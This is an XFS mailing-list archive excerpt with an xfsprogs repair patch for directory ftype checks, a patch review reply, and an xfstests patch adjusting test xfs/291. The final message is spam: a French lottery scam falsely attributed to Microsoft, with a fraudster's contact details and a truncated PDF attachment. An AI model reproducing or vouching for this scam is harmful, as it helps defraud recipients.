@@ -312,6 +314,23 @@ dir_hash_see( return DIR_HASH_CK_NODATA; } +static void +dir_hash_update_ftype( + dir_hash_tab_t *hashtab, + xfs_dir2_dataptr_t addr, + __uint8_t ftype) +{ + int i; + dir_hash_ent_t *p; + + i = DIR_HASH_FUNC(hashtab, addr); + for (p = hashtab->byaddr[i]; p; p = p->nextbyaddr) { + if (p->address != addr) + continue; + p->name.type = ftype; + } +} + /* * checks to make sure leafs match a data entry, and that the stale * count is valid. @@ -1685,11 +1704,12 @@ longform_dir2_entry_check_data( if (!orphanage_ino) orphanage_ino = inum; } + /* * check for duplicate names in directory. */ if (!dir_hash_add(mp, hashtab, addr, inum, dep->namelen, - dep->name)) { + dep->name, xfs_dir3_dirent_get_ftype(mp, dep))) { nbad++; if (entry_junked( _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), @@ -1763,6 +1783,35 @@ longform_dir2_entry_check_data( */ if (no_modify && verify_inum(mp, inum)) continue; + + /* validate ftype field if supported */ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t dir_ftype; + __uint8_t ino_ftype; + + dir_ftype = xfs_dir3_dirent_get_ftype(mp, dep); + ino_ftype = get_inode_ftype(irec, ino_offset); + + if (dir_ftype != ino_ftype) { + if (no_modify) { + do_warn( + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ip->i_ino, inum); + } else { + do_warn( + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ip->i_ino, inum); + xfs_dir3_dirent_put_ftype(mp, dep, + ino_ftype); + libxfs_dir2_data_log_entry(tp, bp, dep); + dir_hash_update_ftype(hashtab, addr, + ino_ftype); + } + } + } + /* * check easy case first, regular inode, just bump * the link count and continue @@ -2189,6 +2238,59 @@ out_fix: * shortform directory v2 processing routines -- entry verification and * bad entry deletion (pruning). */ +static struct xfs_dir2_sf_entry * +shortform_dir2_junk( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *sfp, + struct xfs_dir2_sf_entry *sfep, + xfs_ino_t lino, + int max_size, + int *index, + int *bytes_deleted, + int *ino_dirty) +{ + struct xfs_dir2_sf_entry *tmp_sfep; + int tmp_len; + int tmp_elen; + + if (lino == orphanage_ino) + orphanage_ino = 0; + if (no_modify) { + do_warn(_("would junk entry\n")); + return NULL; + } + + tmp_elen = xfs_dir3_sf_entsize(mp, sfp, + sfep->namelen); + tmp_sfep = (xfs_dir2_sf_entry_t *) + ((__psint_t) sfep + tmp_elen); + tmp_len = max_size - ((__psint_t) tmp_sfep + - (__psint_t) sfp); + max_size -= tmp_elen; + *bytes_deleted += tmp_elen; + + memmove(sfep, tmp_sfep, tmp_len); + + sfp->count -= 1; + memset((void *)((__psint_t)sfep + tmp_len), 0, + tmp_elen); + + /* + * WARNING: drop the index i by one + * so it matches the decremented count for + * accurate comparisons in the loop test + */ + (*index)--; + + *ino_dirty = 1; + + if (verbose) + do_warn(_("junking entry\n")); + else + do_warn("\n"); + return sfep; +} + static void shortform_dir2_entry_check(xfs_mount_t *mp, xfs_ino_t ino, @@ -2201,15 +2303,13 @@ shortform_dir2_entry_check(xfs_mount_t *mp, xfs_ino_t lino; xfs_ino_t parent; struct xfs_dir2_sf_hdr *sfp; - xfs_dir2_sf_entry_t *sfep, *next_sfep, *tmp_sfep; + struct xfs_dir2_sf_entry *sfep; + struct xfs_dir2_sf_entry *next_sfep; xfs_ifork_t *ifp; ino_tree_node_t *irec; int max_size; int ino_offset; int i; - int junkit; - int tmp_len; - int tmp_elen; int bad_sfnamelen; int namelen; int bytes_deleted; @@ -2266,9 +2366,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, for (i = 0; i < sfp->count && max_size > (__psint_t)next_sfep - (__psint_t)sfp; sfep = next_sfep, i++) { - junkit = 0; bad_sfnamelen = 0; - tmp_sfep = NULL; lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); @@ -2340,7 +2438,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, do_warn( _("entry \"%s\" in shortform directory %" PRIu64 " references non-existent inode %" PRIu64 "\n"), fname, ino, lino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, + max_size, &i, &bytes_deleted, + ino_dirty); + continue; } ino_offset = XFS_INO_TO_AGINO(mp, lino) - irec->ino_startnum; @@ -2354,7 +2455,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, do_warn( _("entry \"%s\" in shortform directory inode %" PRIu64 " points to free inode %" PRIu64 "\n"), fname, ino, lino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, + max_size, &i, &bytes_deleted, + ino_dirty); + continue; } /* * check if this inode is lost+found dir in the root @@ -2367,7 +2471,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, do_warn( _("%s (ino %" PRIu64 ") in root (%" PRIu64 ") is not a directory"), ORPHANAGE, lino, ino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, + lino, max_size, &i, + &bytes_deleted, ino_dirty); + continue; } /* * if this is a dup, it will be picked up below, @@ -2381,11 +2488,15 @@ shortform_dir2_entry_check(xfs_mount_t *mp, */ if (!dir_hash_add(mp, hashtab, (xfs_dir2_dataptr_t) (sfep - xfs_dir2_sf_firstentry(sfp)), - lino, sfep->namelen, sfep->name)) { + lino, sfep->namelen, sfep->name, + xfs_dir3_sfe_get_ftype(mp, sfp, sfep))) { do_warn( _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), fname, lino, ino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, + max_size, &i, &bytes_deleted, + ino_dirty); + continue; } if (!inode_isadir(irec, ino_offset)) { @@ -2403,11 +2514,14 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), * the .. in the child, blow out the entry */ if (is_inode_reached(irec, ino_offset)) { - junkit = 1; do_warn( _("entry \"%s\" in directory inode %" PRIu64 " references already connected inode %" PRIu64 ".\n"), fname, ino, lino); + next_sfep = shortform_dir2_junk(mp, sfp, sfep, + lino, max_size, &i, + &bytes_deleted, ino_dirty); + continue; } else if (parent == ino) { add_inode_reached(irec, ino_offset); add_inode_ref(current_irec, current_ino_offset); @@ -2423,76 +2537,60 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), add_dotdot_update(XFS_INO_TO_AGNO(mp, lino), irec, ino_offset); } else { - junkit = 1; do_warn( _("entry \"%s\" in directory inode %" PRIu64 " not consistent with .. value (%" PRIu64 ") in inode %" PRIu64 ",\n"), fname, ino, parent, lino); + next_sfep = shortform_dir2_junk(mp, sfp, sfep, + lino, max_size, &i, + &bytes_deleted, ino_dirty); + continue; } } - if (junkit) { -do_junkit: - if (lino == orphanage_ino) - orphanage_ino = 0; - if (!no_modify) { - tmp_elen = xfs_dir3_sf_entsize(mp, sfp, - sfep->namelen); - tmp_sfep = (xfs_dir2_sf_entry_t *) - ((__psint_t) sfep + tmp_elen); - tmp_len = max_size - ((__psint_t) tmp_sfep - - (__psint_t) sfp); - max_size -= tmp_elen; - bytes_deleted += tmp_elen; - - memmove(sfep, tmp_sfep, tmp_len); - - sfp->count -= 1; - memset((void *)((__psint_t)sfep + tmp_len), 0, - tmp_elen); - - /* - * set the tmp value to the current - * pointer so we'll process the entry - * we just moved up - */ - tmp_sfep = sfep; - - /* - * WARNING: drop the index i by one - * so it matches the decremented count for - * accurate comparisons in the loop test - */ - i--; + /* validate ftype field if supported */ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t dir_ftype; + __uint8_t ino_ftype; - *ino_dirty = 1; + dir_ftype = xfs_dir3_sfe_get_ftype(mp, sfp, sfep); + ino_ftype = get_inode_ftype(irec, ino_offset); - if (verbose) - do_warn(_("junking entry\n")); - else - do_warn("\n"); - } else { - do_warn(_("would junk entry\n")); + if (dir_ftype != ino_ftype) { + if (no_modify) { + do_warn( + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ino, lino); + } else { + do_warn( + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ino, lino); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + ino_ftype); + dir_hash_update_ftype(hashtab, + (xfs_dir2_dataptr_t)(sfep - xfs_dir2_sf_firstentry(sfp)), + ino_ftype); + *ino_dirty = 1; + } } - } else if (lino > XFS_DIR2_MAX_SHORT_INUM) + } + + if (lino > XFS_DIR2_MAX_SHORT_INUM) i8++; /* - * go onto next entry unless we've just junked an - * entry in which the current entry pointer points - * to an unprocessed entry. have to take into entries + * go onto next entry - we have to take into entries * with bad namelen into account in no modify mode since we * calculate size based on next_sfep. */ ASSERT(no_modify || bad_sfnamelen == 0); - - next_sfep = (tmp_sfep == NULL) - ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep - + ((!bad_sfnamelen) - ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) - : xfs_dir3_sf_entsize(mp, sfp, namelen))) - : tmp_sfep; + next_sfep = (struct xfs_dir2_sf_entry *)((__psint_t)sfep + + (bad_sfnamelen + ? xfs_dir3_sf_entsize(mp, sfp, namelen) + : xfs_dir3_sf_entsize(mp, sfp, sfep->namelen))); } if (sfp->i8count != i8) { @@ -2501,6 +2599,8 @@ do_junkit: ino); } else { if (i8 == 0) { + struct xfs_dir2_sf_entry *tmp_sfep; + tmp_sfep = next_sfep; process_sf_dir2_fixi8(mp, sfp, &tmp_sfep); bytes_deleted += @@ -2518,8 +2618,7 @@ do_junkit: /* * sync up sizes if required */ - if (*ino_dirty) { - ASSERT(bytes_deleted > 0); + if (*ino_dirty && bytes_deleted > 0) { ASSERT(!no_modify); libxfs_idata_realloc(ip, -bytes_deleted, XFS_DATA_FORK); ip->i_d.di_size -= bytes_deleted; diff --git a/repair/scan.c b/repair/scan.c index 49ed194..73b4581 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -866,9 +866,9 @@ _("inode rec for ino %" PRIu64 " (%d/%d) overlaps existing rec (start %d/%d)\n") for (j = 0; j < XFS_INODES_PER_CHUNK; j++) { if (XFS_INOBT_IS_FREE_DISK(rp, j)) { nfree++; - add_aginode_uncertain(agno, ino + j, 1); + add_aginode_uncertain(mp, agno, ino + j, 1); } else { - add_aginode_uncertain(agno, ino + j, 0); + add_aginode_uncertain(mp, agno, ino + j, 0); } } } -- 1.8.4.rc3 From jeff.liu@oracle.com Tue Jan 21 22:45:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A03F629E05 for ; Tue, 21 Jan 2014 22:45:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7300A8F8065 for ; Tue, 21 Jan 2014 20:45:06 -0800 (PST) X-ASG-Debug-ID: 1390365905-04bdf030e96e240001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 20TNNfemz1GgpbHP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 21 Jan 2014 20:45:05 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0M4j48u021120 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 22 Jan 2014 04:45:04 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s0M4j3mD029226 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 22 Jan 2014 04:45:04 GMT Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s0M4j3R0029215; Wed, 22 Jan 2014 04:45:03 GMT Received: from [192.168.1.106] (/114.248.204.110) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 21 Jan 2014 20:45:03 -0800 Message-ID: <52DF4CCB.1050003@oracle.com> Date: Wed, 22 Jan 2014 12:44:59 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs: use tr_qm_dqalloc log reservation for dquot alloc References: <1390228140-49211-1-git-send-email-bfoster@redhat.com> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: use tr_qm_dqalloc log reservation for dquot alloc In-Reply-To: <1390228140-49211-1-git-send-email-bfoster@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1390365905 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144348 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/20 2014 22:29 PM, Brian Foster wrote: > The dquot allocation path in xfs_qm_dqread() currently uses the > attribute set log reservation, which appears to be incorrect. We > have reports of transaction reservation overruns with the current > code. E.g., a repeated run of xfstests test generic/270 on a 512b > block size fs occassionally produces the following in dmesg: > > XFS (sdN): xlog_write: reservation summary: > trans type = QM_DQALLOC (30) > unit res = 7080 bytes > current res = -632 bytes > total reg = 0 bytes (o/flow = 0 bytes) > ophdrs = 0 (ophdr space = 0 bytes) > ophdr + reg = 0 bytes > num regions = 0 > > XFS (sdN): xlog_write: reservation ran out. Need to up reservation > > The dquot allocation case should consist of a write reservation > (i.e., we are allocating a range of the internal quota file) plus > the size of the actual dquots. We already have a log reservation > definition for this operation (tr_qm_dqalloc). Use it in > xfs_qm_dqread() and update the log reservation calculation function > to use the write res. calculation function rather than reading the > assumed to be pre-calculated value directly. > > Signed-off-by: Brian Foster Reviewed-by: Jie Liu Thanks, -Jeff From dave@fromorbit.com Wed Jan 22 00:46:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3BAD07F52 for ; Wed, 22 Jan 2014 00:46:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C7A2AAC002 for ; Tue, 21 Jan 2014 22:46:53 -0800 (PST) X-ASG-Debug-ID: 1390373208-04bdf030e872de0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id qurA8hAhA0ohuFKi for ; Tue, 21 Jan 2014 22:46:49 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAC5o31J5LKVw/2dsb2JhbABbgwu+CRd0giUBXDsYagM0iASVE6tYjxyEIgSqOoNBKA Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail04.adl6.internode.on.net with ESMTP; 22 Jan 2014 17:16:48 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W5raH-0001UT-EC for xfs@oss.sgi.com; Wed, 22 Jan 2014 17:46:45 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W5raH-0002Gt-D4 for xfs@oss.sgi.com; Wed, 22 Jan 2014 17:46:45 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] xfs/291: fix spurious ENOSPC errors Date: Wed, 22 Jan 2014 17:46:45 +1100 X-ASG-Orig-Subj: [PATCH] xfs/291: fix spurious ENOSPC errors Message-Id: <1390373205-8698-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1390373208 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs/291 tries to fill the filesystem almost full, so if the log size changes with mkfs defaults then it's free space calculations are not longer valid and so it throws lots of ENOSPC errors during a run. This is not fatal for this test, but it does increase the runtime of it and fill the 291.full file with unnecessary errors. The number of frag files it creates is also too many for a 512 byte inode filesystem (by about 900) so reduce the number of inodes initially created so the test works ofr 512 byte inodes. With 512 byte inodes, the free space histogram looks like this after the frag phase: from to extents blocks pct 1 1 10730 10730 100.00 And for 256 byte inodes: from to extents blocks pct 1 1 12388 12388 100.00 So these changes do not affect the intended operation of the test. Signed-off-by: Dave Chinner --- tests/xfs/291 | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/tests/xfs/291 b/tests/xfs/291 index d5a9b08..0f3f051 100755 --- a/tests/xfs/291 +++ b/tests/xfs/291 @@ -46,7 +46,7 @@ _supported_os IRIX Linux # real QA test starts here rm -f $seqres.full _require_scratch -_scratch_mkfs_xfs -n size=16k -d size=128m >> $seqres.full 2>&1 +_scratch_mkfs_xfs -n size=16k -l size=5m -d size=128m >> $seqres.full 2>&1 _scratch_mount # First we cause very badly fragmented freespace, then @@ -54,13 +54,16 @@ _scratch_mount # should come out very fragmented as a result # Step 1: Cause badly fragmented free space +# +# XXX: this needs to be factored to match what generic/204 does to support +# different inode sizes without ENOSPC mkdir $SCRATCH_MNT/fragdir -for I in `seq 0 27200`; do +for I in `seq 0 26200`; do (echo data > $SCRATCH_MNT/fragdir/f$I) >> $seqres.full 2>&1 done sync -for I in `seq 0 2 27200`; do +for I in `seq 0 2 26200`; do rm -f $SCRATCH_MNT/fragdir/f$I >> $seqres.full 2>&1 done sync -- 1.8.4.rc3 From hb095135@belgacom.net Wed Jan 22 01:16:28 2014 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7C9547F58 for ; Wed, 22 Jan 2014 01:16:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C2F128F8064 for ; Tue, 21 Jan 2014 23:16:24 -0800 (PST) X-ASG-Debug-ID: 1390374973-04bdf030e874140001-w1Z2WR Received: from mailsec107.isp.belgacom.be (mailsec107.isp.belgacom.be [195.238.20.103]) by cuda.sgi.com with ESMTP id xvAij3IFqkkms6Ba; Tue, 21 Jan 2014 23:16:14 -0800 (PST) X-Barracuda-Envelope-From: hb095135@belgacom.net X-Barracuda-Apparent-Source-IP: 195.238.20.103 Received: from mailrmu003.isp.belgacom.be ([195.238.20.211]) by privrelay.isp.belgacom.be with ESMTP; 22 Jan 2014 08:04:15 +0100 Date: Wed, 22 Jan 2014 08:16:09 +0100 (CET) From: CONPAGNIE Reply-To: CONPAGNIE To: w151806@swing.be Cc: fb498967@skynet.be Message-ID: <1501501492.134585.1390374969190.open-xchange@webmail.nmp.skynet.be> Subject: =?UTF-8?Q?Fwd:_tr:re:_CONFIRMATION=E2=80=8F?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?UTF-8?Q?Fwd:_tr:re:_CONFIRMATION=E2=80=8F?= Content-Type: multipart/mixed; boundary="----=_Part_134583_453282669.1390374968936" X-Priority: 3 Importance: Medium X-Mailer: Open-Xchange Mailer v7.2.2-Rev27 X-Barracuda-Connect: mailsec107.isp.belgacom.be[195.238.20.103] X-Barracuda-Start-Time: 1390374973 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: b22509ecb0f117fee7f5e83f959de041-234894-htm X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 ------=_Part_134583_453282669.1390374968936 Content-Type: multipart/alternative; boundary="----=_Part_134584_708550885.1390374968977" ------=_Part_134584_708550885.1390374968977 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable > > ----- Original Message ----- > ----- Original Message ----- > > > ---= -- > > Original Message ----- > ----- Original Message ----- > A votre attention Monsieur/ Madame, Nous sommes heureux de vous annoncer que votre adresse =C3=A9mail a =C3=A9t= =C3=A9 r=C3=A9cup=C3=A9r=C3=A9e automatiquement du tirage organis=C3=A9 par notre compagnie MICROSOFT porta= nt sur la somme de 250.000 Euros. Pour entrer en possession du gain adress=C3=A9 un mail de confirmation =C3= =A0 l'adresse =C3=A9lectronique de Ma=C3=AEtre RENNE LEFOU Huissier charg=C3=A9 de vou= s indiquez les conditions g=C3=A9n=C3=A9rales de Remise de votre gain. Ma=C3=AEtre RENNE LEFOU =C3=89MAIL: renne.lefou@hotmail.co.uk TEL: 0022 542 75 50 75 Microsoft Windows. ------=_Part_134584_708550885.1390374968977 MIME-Version: 1.0 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 7bit
>  > ----- Original Message ----- > ----- Original Message ----- > >  > ----- Original Message ----- > ----- Original Message ----- >                                                                                                                                                                                             

A votre attention Monsieur/ Madame,                                                                                                                                                                                               

Nous sommes heureux de vous annoncer que votre adresse émail a été récupérée automatiquement du tirage organisé par notre compagnie MICROSOFT portant sur la somme de 250.000 Euros.                                                                                                                                   

Pour entrer en possession du gain adressé un mail de confirmation à l'adresse électronique de Maître RENNE LEFOU    Huissier chargé de vous indiquez les conditions générales de Remise de votre gain.                                                                                                                                                                                               

Maître RENNE LEFOU                              

ÉMAIL: renne.lefou@hotmail.co.uk  
                               
TEL: 0022 542 75 50 75          

Microsoft Windows.
------=_Part_134584_708550885.1390374968977-- ------=_Part_134583_453282669.1390374968936 Content-Type: application/pdf; name=coupon.pdf.pdf Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=coupon.pdf.pdf JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhmci1GUikgPj4NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZS9QYWdlcy9Db3VudCAyL0tpZHNb IDMgMCBSIDQ3IDAgUl0gPj4NCmVuZG9iag0KMyAwIG9iag0KPDwvVHlwZS9QYWdlL1BhcmVudCAy IDAgUi9SZXNvdXJjZXM8PC9YT2JqZWN0PDwvSW1hZ2U0IDQgMCBSL0ltYWdlNiA2IDAgUi9JbWFn ZTcgNyAwIFI+Pi9Gb250PDwvRjEgOCAwIFIvRjIgMTAgMCBSL0YzIDEyIDAgUi9GNCAxNCAwIFIv RjUgMTYgMCBSL0Y2IDE4IDAgUi9GNyAyMCAwIFIvRjggNDAgMCBSL0Y5IDQyIDAgUj4+L0V4dEdT dGF0ZTw8L0dTMjIgMjIgMCBSL0dTMjMgMjMgMCBSPj4vUGF0dGVybjw8L1AyNSAyNSAwIFIvUDI3 IDI3IDAgUi9QMjkgMjkgMCBSL1AzMSAzMSAwIFIvUDMzIDMzIDAgUi9QMzUgMzUgMCBSL1AzNyAz NyAwIFIvUDM5IDM5IDAgUj4+L1Byb2NTZXRbL1BERi9UZXh0L0ltYWdlQi9JbWFnZUMvSW1hZ2VJ XSA+Pi9NZWRpYUJveFsgMCAwIDU5NS4zMiA4NDEuOTJdIC9Db250ZW50cyA1IDAgUi9Hcm91cDw8 L1R5cGUvR3JvdXAvUy9UcmFuc3BhcmVuY3kvQ1MvRGV2aWNlUkdCPj4vVGFicy9TPj4NCmVuZG9i ag0KNCAwIG9iag0KPDwvVHlwZS9YT2JqZWN0L1N1YnR5cGUvSW1hZ2UvV2lkdGggMTIzL0hlaWdo dCA4OC9Db2xvclNwYWNlL0RldmljZVJHQi9CaXRzUGVyQ29tcG9uZW50IDgvRmlsdGVyL0RDVERl Y29kZS9JbnRlcnBvbGF0ZSB0cnVlL0xlbmd0aCAzNjY3Pj4NCnN0cmVhbQ0K/9j/4AAQSkZJRgAB AQEAYABgAAD/2wBDAA0JCgsKCA0LCgsODg0PEyAVExISEyccHhcgLikxMC4pLSwzOko+MzZGNywt QFdBRkxOUlNSMj5aYVpQYEpRUk//2wBDAQ4ODhMREyYVFSZPNS01T09PT09PT09PT09PT09PT09P T09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0//wAARCABYAHsDASIAAhEBAxEB/8QAHwAA AQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpT VFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5 usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAA AAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEI FEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVm Z2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK 0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDmbONBEhMaH5R1UelbOjXN lY3ouLmyhmUdig+X3HHWs6OI+TEAM/IDx9BW7oup2Fmnk3+nrICeJRgkfUEdK8vmfPvY77K21yxp kdvrmpyKtjFHETkERrwD2PAwe1P1bSbS2vniggiKKByUHPr2rpLW9s/s5awiVd/O4AD+VQbraKQz 3S7gB35zTlZq1yYt3vbTsczBb2wYA20B+sS/4V0mnWljMgBs7Un1MCf4VmXd0L+QGxswkK5JcAEn 8qs6ZcGOUAnHrWSm4Ste6LlHmW1mVvEun6fAVEMdvvIyVWNRj8hUOmWls1qxa2gYgdTEp/pWvqml QfZ5LiMEuQSSTnrWbpH/AB6yg9qmcmpjgk4E1lYWh3sbS3IHrEv+FY93pT6hPK9rawiKLlmCKoA/ Kt9nFtpbynjI4rnrW8vo4pTBNsjkyGBJxj/GmpW3Y1F6tFVraCGMDyIc4/uA/wBKhjs0mlCJAjMx wAEHJ/KtHT7iC3lDXlsbpMYIJ5+vPWup0260ZyJrS2UOM4G0Ag04Lm1chTfL0uczrWgQaXY2zmNX lkJD/IMLxx2+tYbQRDkxR/8AfA/wr0K+jj1AMt0DsPp1HpisHXrrR4IDb2doGuGGA20DHv0q3q7p 6EpuyTV2ZotdE/4R+WZ2T7cp4UpgevGAc8c/4Vxl0g+0NhAOnp6VvPCGYMwBI9azb+EC7cew/kK1 pT1IlFI6nQtYsrGzZbm1ErSRgB+pU4A6YPrn8KigxdMAFALnAHXqfoP5VmQWsnkRsAeUB/QVYi8+ BgyZBHQ+lYVGnp2NoxS1R2jix0SySNeHb52Gc/8A6s1SuriDVLF1hkIkAyBnBJ9K5w3MkkxluWMj Z4z0H0FTieB2BzsfsQcGolLXRaDjTsr31NLTdYfTrR4oIA4k4IxyD0z19M/pU8BaSIThsn+Md1Pu KzEjjYErKCScntzUqNNA4ZSQR3Hp7+orKU27J7IvlV7rc7DTplvLN4WOTjvWLZIYZLyI8FT/AFqK w1FYp0kUhWzyM8H6f4fzrSnRDqTSoR5dzErg9hggH8qtvmSfVGduWTXRmbr0h8u3sYzyRlsdhUdh 